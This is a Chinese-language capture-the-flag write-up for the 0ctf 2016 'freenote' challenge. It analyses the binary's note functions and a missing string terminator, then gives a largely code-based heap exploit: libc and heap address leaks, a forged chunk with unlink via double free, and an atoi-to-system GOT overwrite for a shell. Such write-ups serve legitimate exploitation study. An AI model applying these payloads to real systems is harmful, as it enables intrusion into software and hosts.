0ctf-2016-freenote
0ctf-2016-freenote
-
libc version: 2.23
-
check --file freenote
- 参考WP: 菜鸡的 Pwn 05 0ctf freenote
- 利用方式: double free 触发 unlink 改写相关地址取得 shell
结构体
00000000 note_s struc ; (sizeof=0x18, mappedto_6) |
00000000 headptr struc ; (sizeof=0x1810, mappedto_8) |
函数分析
head_init
headptr *head_init() |
list
int list() |
new
int new() |
-
从前到后遍历chunklist, 当inuse为0的时候, 在那个堆块malloc了note的空间, 注意的是, size是不可任意malloc的, 因为设置了自动对齐的运算, size大小只能是128*n (n > 0), 这就导致我们无法直接申请
fastbin
- 实现了read函数, 输入size后必须输入满足你的size才能结束输入循环
edit
int edit() |
read_note
__int64 __fastcall read_note(char *a1, signed int a2) |
其中 read_note 函数, 在读取一个字符以后, 并没有将后一位置为结束符
\x00
, 可能造成
信息泄露
delte
int delte() |
攻击思路
步骤
泄露 libc 的基址
-
新建 chunk0、chunk1 ( chunk1 用于防止 free 时 chunk0 和 top chunk 合并 )
new("a" * 8) # 0
new("b" * 8) # 1 -
free(0)
-
新建一个大小和 chunk0 相同的堆块, 此时内核将从 unsorted bin 中把 chunk0 重新分配回来, 我们需要填入8个字节来leak main_arena 地址。
new("a" * 8) # 0
可以看到此时 chunk0 的内存中除我们输入的 “a” * 8 以外后面跟着 main_arena 的地址
show(0)
# 接收 main_arena 地址
ru("a" * 8)
mainarena_addr = u64(rv(6) + b"\x00\x00")# 0x7ffff7dd4b78 - 0x7ffff7a39000 = 0x39bb78
libc.address = mainarena_addr - 0x39bb78free(0) # 0
free(1) # 1
泄露 heap 的地址
-
new("a" * 8) # 0
new("b" * 8) # 1
new("c" * 8) # 2
new("d" * 8) # 3 -
free(0) # 0
free(2) # 2此时 chunk0 ->bk 位置存放了 chunk2 的地址, 我们就可以同泄露 libc 的基址来泄露 heap 的地址
-
new("e" * 8) # 0
show()
ru("e" * 8)
chunk0_addr = u64(ru("\n")[:-1].ljust(8, b"\x00"))# 0x604940 - 0x603000 = 0x1940
heap_addr = chunk0_addr - 0x1940free(0) # 0
free(1) # 1
free(3) # 3
利用 unlink 修改 atoi 函数进行 get shell
-
system_addr = libc.symbols["system"]
binsh_addr = libc.search(b"/bin/sh").__next__()
atoi_addr = elf.got["atoi"] -
new("a" * 0x80)
new("a" * 0x80)
new("a" * 0x80)
free(0)
free(1)
free(2) -
payload = p64(0) + p64(0x81) + p64(heap_addr + 0x30 - 0x18) + p64(heap_addr + 0x30 - 0x10) + b'a' * 0x60
payload += p64(0x80) + p64(0x90) + b'b' * 0x80
payload += p64(0x0) + p64(0x91) + b'c' * 0x60
new(payload)
free(1) -
此时进行 edit(0) 操作就是在修改 node[0] 自己
payload2 = p64(2) + p64(1) + p64(8) + p64(atoi_addr)
edit(0, payload2.ljust(len(payload), b'b')) -
再次修改, 将
[email protected]
修改指向system
payload3 = p64(system_addr)
edit(0, payload3)
完整Exp
from pwn import * |